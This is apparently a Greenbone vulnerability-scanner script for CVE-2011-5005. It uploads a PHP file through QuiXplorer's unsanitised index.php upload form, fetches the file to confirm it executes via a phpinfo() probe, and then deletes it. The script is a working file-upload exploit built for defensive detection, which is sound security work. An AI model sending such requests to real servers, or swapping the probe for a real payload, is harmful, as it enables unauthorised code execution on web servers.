QuiXplorer 'index.php' Arbitrary File Upload Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103377");
  script_cve_id("CVE-2011-5005");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_version("2023-07-25T05:05:58+0000");

  script_name("QuiXplorer 'index.php' Arbitrary File Upload Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50673");

  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2012-01-05 11:51:25 +0100 (Thu, 05 Jan 2012)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("gb_quixplorer_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("QuiXplorer/installed");

  script_tag(name:"summary", value:"QuiXplorer is prone to an arbitrary-file-upload vulnerability because
  the application fails to adequately sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to upload arbitrary code and run it
  in the context of the webserver process.");

  script_tag(name:"affected", value:"QuiXplorer 2.3 is vulnerable, other versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");

CPE = 'cpe:/a:claudio_klingler:quixplorer';

if(!port = get_app_port(cpe:CPE))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = string(dir,"/index.php?action=upload&order=type&srt=yes");
useragent = http_get_user_agent();
host = http_host_name(port:port);

vtstrings = get_vt_strings();
filename = vtstrings["lowercase_rand"] + ".php";
len = 1982 + strlen(filename);

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "User-Agent: ", useragent, "\r\n",
             "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n",
             "Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3\r\n",
             "Accept-Encoding: gzip, deflate\r\n",
             "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n",
             "Connection: keep-alive\r\n",
             "Referer: http://",host,url,"\r\n",
             "Content-Type: multipart/form-data; boundary=---------------------------5307133891507148240988240459\r\n",
             "Content-Length: ",len,"\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="MAX_FILE_SIZE"',"\r\n",
             "\r\n",
             "2097152\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="confirm"',"\r\n",
             "\r\n",
             "true\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename="',filename,'"',"\r\n",
             "Content-Type: application/x-php\r\n",
             "\r\n",
             '<?php phpinfo(); ?>',"\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459\r\n",
             'Content-Disposition: form-data; name="userfile[]"; filename=""',"\r\n",
             "Content-Type: application/octet-stream\r\n",
             "\r\n",
             "\r\n",
             "-----------------------------5307133891507148240988240459--\r\n");
result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

if(result =~ "HTTP/1.. 302" && "Location:" >< result) {

  lines = split(result);
  foreach line (lines) {
    if(egrep(pattern:"Location:",string:line)) {
      location = eregmatch(pattern:"Location: (.*)$",string:line);
      break;
    }
  }

  if(isnull(location[1]))exit(0);

  url = chomp(location[1]);
  req1 = http_get(item:url, port:port);
  buf = http_keepalive_send_recv(port:port, data:req1, bodyonly:FALSE);

  if(filename >!< buf)exit(0);

  lines = split(buf);
  foreach line (lines) {

    if(filename >< line && "<A HREF=" >< line) {
      url = eregmatch(pattern:'<A HREF="([^"]+)"',string:line);
      break;
    }
  }

  if(isnull(url[1]))exit(0);

  req2 = http_get(item:url[1], port:port);
  buf2 = http_keepalive_send_recv(port:port, data:req2, bodyonly:FALSE);

  if("<title>phpinfo()" >< buf2) {

    # delete uploaded file
    del = "do_action=delete&first=y&selitems%5B%5D=" + filename;
    req = string("POST ", dir, "/index.php?action=post&order=type&srt=yes HTTP/1.1\r\n",
                 "Host: ", host, "\r\n",
                 "User-Agent: ", useragent, "\r\n",
                 "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n",
                 "Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3\r\n",
                 "Accept-Encoding: gzip, deflate\r\n",
                 "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n",
                 "Connection: keep-alive\r\n",
                 "Referer: http://",host,url,"\r\n",
                 "Content-Type: application/x-www-form-urlencoded\r\n",
                 "Content-Length: ",strlen(del),"\r\n",
                 "\r\n",
                 del);
    result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
    security_message(port:port);
    exit(0);
  }
}

exit(0);